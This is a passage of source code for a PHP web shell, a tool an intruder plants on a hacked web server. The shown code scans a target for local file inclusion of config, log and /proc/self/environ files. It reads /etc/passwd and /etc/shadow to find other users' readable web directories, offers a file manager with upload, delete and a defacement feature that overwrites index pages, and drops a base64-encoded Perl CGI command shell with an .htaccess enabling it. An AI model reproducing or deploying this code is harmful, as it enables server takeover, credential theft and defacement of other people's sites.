1314 $x++;
1315 }
1316 }
1317 }
1318 if ( $type == 2 ) {
1319 $res1 = FetchURL($target.$lfitest);
1320 $res2 = FetchURL($target.$lfitest2);
1321 $rhash1 = md5($res1);
1322 $rhash2 = md5($res2);
1323 if ($rhash1 != $rhash2) {
1324 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1325 while($lficonfig[$x]) {
1326 $res3 = FetchURL($target.$lficonfig[$x]);
1327 $rhash3 = md5($res3);
1328 if ($rhash3 != $rhash2) {
1329 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
1330 }
1331 else {
1332 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
1333 }
1334 $x++;
1335 }
1336 }
1337 }
1338 if ( $type == 3 ) {
1339 $res1 = FetchURL($target.$lfitest);
1340 $res2 = FetchURL($target.$lfitest2);
1341 $rhash1 = md5($res1);
1342 $rhash2 = md5($res2);
1343 if ($rhash1 != $rhash2) {
1344 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1345 while($lfierror[$x]) {
1346 $res3 = FetchURL($target.$lfierror[$x]);
1347 $rhash3 = md5($res3);
1348 if ($rhash3 != $rhash2) {
1349 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
1350 }
1351 else {
1352 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
1353 }
1354 $x++;
1355 }
1356 }
1357 }
1358 if ( $type == 4 ) {
1359 $res1 = FetchURL($target.$lfitest);
1360 $res2 = FetchURL($target.$lfitest2);
1361 $rhash1 = md5($res1);
1362 $rhash2 = md5($res2);
1363 if ($rhash1 != $rhash2) {
1364 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1365 while($lfiphpini[$x]) {
1366 $res3 = FetchURL($target.$lfiphpini[$x]);
1367 $rhash3 = md5($res3);
1368 if ($rhash3 != $rhash2) {
1369 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
1370 }
1371 else {
1372 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
1373 }
1374 $x++;
1375 }
1376 }
1377 }
1378 if ( $type == 5 ) {
1379 $res1 = FetchURL($target.$lfitest);
1380 $res2 = FetchURL($target.$lfitest2);
1381 $rhash1 = md5($res1);
1382 $rhash2 = md5($res2);
1383 if ($rhash1 != $rhash2) {
1384 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1385 while($lfimysql[$x]) {
1386 $res3 = FetchURL($target.$lfimysql[$x]);
1387 $rhash3 = md5($res3);
1388 if ($rhash3 != $rhash2) {
1389 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
1390 }
1391 else {
1392 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
1393 }
1394 $x++;
1395 }
1396 }
1397 }
1398 if ( $type == 6 ) {
1399 $res1 = FetchURL($target.$lfitest);
1400 $res2 = FetchURL($target.$lfitest2);
1401 $rhash1 = md5($res1);
1402 $rhash2 = md5($res2);
1403 if ($rhash1 != $rhash2) {
1404 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
1405 while($lfiftp[$x]) {
1406 $res3 = FetchURL($target.$lfiftp[$x]);
1407 $rhash3 = md5($res3);
1408 if ($rhash3 != $rhash2) {
1409 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
1410 }
1411 else {
1412 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
1413 }
1414 $x++;
1415 }
1416 }
1417 }
1418 if ( $type == 7 ) {
1419 $res1 = FetchURL($target.$lfitest);
1420 $res2 = FetchURL($target.$lfitest2);
1421 $rhash1 = md5($res1);
1422 $rhash2 = md5($res2);
1423 if ($rhash1 != $rhash2) {
1424 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
1425 $res3 = FetchURL($target.$lfiprocenv);
1426 $rhash3 = md5($res3);
1427 if ($rhash3 != $rhash2) {
1428 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
1429 }
1430 else {
1431 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
1432 }
1433 }
1434 }
1435 }
1436 }
1437 printFooter();
1438 }
1439
1440function actionReadable() {
1441 printHeader();
1442 echo '<h1>Readable Dirs</h1>';
1443 echo '<div class="content">';
1444 $sm = ini_get('safe_mode');
1445 if($sm) {
1446 echo '<br /><b>Error: safe_mode = on</b><br /><br />';
1447 } else {
1448 @$passwd = file('/etc/passwd','r');
1449 @$passwd = file('/etc/shadow','r');
1450 if (!$passwd) {
1451 echo '<br /><b> [-] Error : coudn`t read /etc/passwd or /etc/shadow </b><br /><br />';
1452 } else {
1453 $pub = array();
1454 $users = array();
1455 $conf = array();
1456 $i = 0;
1457 foreach($passwd as $p) {
1458 $r = explode(':',$p);
1459 $dirz = $r[5].'/public_html/';
1460 if(strpos($r[5],'home')) {
1461 array_push($users,$r[0]);
1462 if (is_readable($dirz)) {
1463 array_push($pub,$dirz);
1464 }
1465 }
1466 }
1467 echo '<br><br>';
1468 echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
1469 echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
1470 foreach ($pub as $user) {
1471 echo $user."<br>";
1472 }
1473 echo "<br /><br /><br />[+] Complete...\n"."<br />";
1474 }
1475 }
1476 echo '</div>';
1477 printFooter();
1478}
1479
1480function actionFilesMan() {
1481 printHeader();
1482 echo '<h1>File manager</h1><div class=content>';
1483 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
1484 switch($_POST['p1']) {
1485 case 'uploadFile':
1486 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1487 echo "Can't upload file!";
1488 break;
1489 break;
1490 case 'mkdir':
1491 if(!@mkdir($_POST['p2']))
1492 echo "Can't create new dir";
1493 break;
1494 case 'delete':
1495 function deleteDir($path) {
1496 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1497 $dh = opendir($path);
1498 while ( ($item = readdir($dh) ) !== false) {
1499 $item = $path.$item;
1500 if ( (basename($item) == "..") || (basename($item) == ".") )
1501 continue;
1502 $type = filetype($item);
1503 if ($type == "dir")
1504 deleteDir($item);
1505 else
1506 @unlink($item);
1507 }
1508 closedir($dh);
1509 rmdir($path);
1510 }
1511 if(is_array(@$_POST['f']))
1512 foreach($_POST['f'] as $f) {
1513 $f = urldecode($f);
1514 if(is_dir($f))
1515 deleteDir($f);
1516 else
1517 @unlink($f);
1518 }
1519 break;
1520 case 'paste':
1521 if($_SESSION['act'] == 'copy') {
1522 function copy_paste($c,$s,$d){
1523 if(is_dir($c.$s)){
1524 mkdir($d.$s);
1525 $h = opendir($c.$s);
1526 while (($f = readdir($h)) !== false)
1527 if (($f != ".") and ($f != "..")) {
1528 copy_paste($c.$s.'/',$f, $d.$s.'/');
1529 }
1530 } elseif(is_file($c.$s)) {
1531 @copy($c.$s, $d.$s);
1532 }
1533 }
1534 foreach($_SESSION['f'] as $f)
1535 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
1536 } elseif($_SESSION['act'] == 'move') {
1537 function move_paste($c,$s,$d){
1538 if(is_dir($c.$s)){
1539 mkdir($d.$s);
1540 $h = opendir($c.$s);
1541 while (($f = readdir($h)) !== false)
1542 if (($f != ".") and ($f != "..")) {
1543 copy_paste($c.$s.'/',$f, $d.$s.'/');
1544 }
1545 } elseif(is_file($c.$s)) {
1546 @copy($c.$s, $d.$s);
1547 }
1548 }
1549 foreach($_SESSION['f'] as $f)
1550 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
1551 }
1552 unset($_SESSION['f']);
1553 break;
1554 default:
1555 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
1556 $_SESSION['act'] = @$_POST['p1'];
1557 $_SESSION['f'] = @$_POST['f'];
1558 foreach($_SESSION['f'] as $k => $f)
1559 $_SESSION['f'][$k] = urldecode($f);
1560 $_SESSION['cwd'] = @$_POST['c'];
1561 }
1562 break;
1563 }
1564 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
1565 }
1566 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
1567 $def = file_get_contents(''); //DEFACE LINK HERE
1568 file_put_contents($_POST['c'].$_POST['p2'],$def);
1569 }
1570 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1571 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
1572 global $sort;
1573 $sort = array('name', 1);
1574 if(!empty($_POST['p1'])) {
1575 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1576 $sort = array($match[1], (int)$match[2]);
1577 }
1578 echo '<script>
1579 function sa() {
1580 for(i=0;i<document.files.elements.length;i++)
1581 if(document.files.elements[i].type == \'checkbox\')
1582 document.files.elements[i].checked = document.files.elements[0].checked;
1583 }
1584 </script>
1585 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
1586 <form name=files method=post>';
1587 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1588 $dirs = $files = $links = array();
1589 $n = count($dirContent);
1590 for($i=0;$i<$n;$i++) {
1591 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1592 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1593 $tmp = array('name' => $dirContent[$i],
1594 'path' => $GLOBALS['cwd'].$dirContent[$i],
1595 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1596 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1597 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1598 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1599 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1600 );
1601 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1602 $files[] = array_merge($tmp, array('type' => 'file'));
1603 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1604 $links[] = array_merge($tmp, array('type' => 'link'));
1605 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1606 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1607 }
1608 $GLOBALS['sort'] = $sort;
1609 function cmp($a, $b) {
1610 if($GLOBALS['sort'][0] != 'size')
1611 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
1612 else
1613 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1614 }
1615 usort($files, "cmp");
1616 usort($dirs, "cmp");
1617 usort($links, "cmp");
1618 $files = array_merge($dirs, $links, $files);
1619 $l = 0;
1620 foreach($files as $f) {
1621 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1622 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1623 $l = $l?0:1;
1624 }
1625 echo '<tr><td colspan=5>
1626 <input type=hidden name=a value=\'FilesMan\'>
1627 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1628 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1629 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
1630 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
1631 echo '</select> <input type="submit" value="Submit"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add Deface Here"></td></tr>
1632 </form></table></div>';
1633 printFooter();
1634}
1635
1636
1637function actionCgiShell() {
1638 printHeader();
1639 echo '<h1>Cgi telnet Evil here </h1><div class=content>';
1640 mkdir('cgitelnet1', 0755);
1641 chdir('cgitelnet1');
1642 $kokdosya = ".htaccess";
1643 $dosya_adi = "$kokdosya";
1644 $dosya = fopen($dosya_adi, 'w') or die("Dosya açılamadı!");
1645 $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
1646
1647AddType application/x-httpd-cgi .cin
1648
1649AddHandler cgi-script .cin
1650AddHandler cgi-script .cin";
1651 fwrite($dosya, $metin);
1652 fclose($dosya);
1653 $cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0t
1654LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1655LS0tLQ0KIyA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2Ij5w
1656cml2OCBjZ2kgc2hlbGw8L2I+ICMgc2VydmVyDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1657LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCiMt
1658LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1659LS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgQ29uZmlndXJhdGlvbjogWW91IG5lZWQgdG8gY2hhbmdl
1660IG9ubHkgJFBhc3N3b3JkIGFuZCAkV2luTlQuIFRoZSBvdGhlcg0KIyB2YWx1ZXMgc2hvdWxkIHdv
1661cmsgZmluZSBmb3IgbW9zdCBzeXN0ZW1zLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1662LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KJFBhc3N3
1663b3JkID0gInByaXY4IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhp
1664cw0KCQkJCSMgdG8gbG9naW4uDQoNCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2Ug
1665dGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZg0KCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3Jp
1666cHQgb24gYSBXaW5kb3dzIE5UDQoJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBv
1667biBVbml4LCB5b3UNCgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuDQoNCiROVENt
1668ZFNlcCA9ICImIjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1h
1669bmRzDQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNl
1670cCA9ICI7IjsJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRz
1671DQoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4Lg0KDQokQ29tbWFuZFRpbWVvdXREdXJh
1672dGlvbiA9IDEwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxl
1673ZA0KCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzDQoJ
1674CQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdA0KCQkJCSMgdGFr
1675ZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkjIFRoaXMgaXMgdmFs
1676aWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzDQoJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZl
1677cnMuDQoNCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRh
1678IGlzIHNlbnQgdG8gdGhlDQoJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBv
1679dGhlcndpc2UNCgkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQN
1680CgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkj
1681IHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdA0KCQkJCSMgaXMgYmVp
1682bmcgZ2VuZXJhdGVkLg0KDQojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUg
1683VU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhDQoNCiRDbWRTZXAgPSAoJFdpbk5U
1684ID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDog
1685InB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9
1686ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0KDQojLS0tLS0tLS0tLS0t
1687LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1688LS0tLS0tLS0tDQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJz
1689ZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQNCiMgcGFyc2VzIEdFVCwgUE9TVCBhbmQgbXVsdGlw
1690YXJ0L2Zvcm0tZGF0YSB0aGF0IGlzIHVzZWQgZm9yIHVwbG9hZGluZyBmaWxlcy4NCiMgVGhlIGZp
1691bGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRp
1692bnsnZmlsZWRhdGEnfS4NCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAk
1693aW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YNCiMgdGhlIHZhcmlhYmxlLiBOb3Rl
1694OiBNb3N0IG9mIHRoZSBjb2RlIGluIHRoaXMgZnVuY3Rpb24gaXMgdGFrZW4gZnJvbSBvdGhlciBD
1695R0kNCiMgc2NyaXB0cy4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1696LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBSZWFkUGFyc2UgDQp7
1697DQoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsNCglsb2NhbCAoJGksICRsb2MsICRrZXksICR2YWwp
1698Ow0KCQ0KCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0
1699aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KDQoJaWYoJEVOVnsnUkVRVUVTVF9N
1700RVRIT0QnfSBlcSAiR0VUIikNCgl7DQoJCSRpbiA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCX0N
1701CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikNCgl7DQoJCWJpbm1vZGUo
1702U1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsNCgkJcmVhZChTVERJTiwgJGlu
1703LCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsNCgl9DQoNCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBk
1704YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
1705b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
1706ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
1707YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
1708CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
1709dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
1710ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
1711ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
1712CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
1713CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
1714Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
1715fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
1716KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
1717cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
1718bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
1719ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
1720CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
1721JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
1722ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
1723Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1724LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
1725QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
1726Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1727LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
1728Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
1729ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
1730dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
1731aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
1732d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
1733CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
1734aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
1735b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
1736cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
1737cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
1738dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
1739ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
1740PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
1741emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
1742NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
1743dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
1744Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
1745P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
1746b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
1747YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
1748aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
1749dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
1750PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
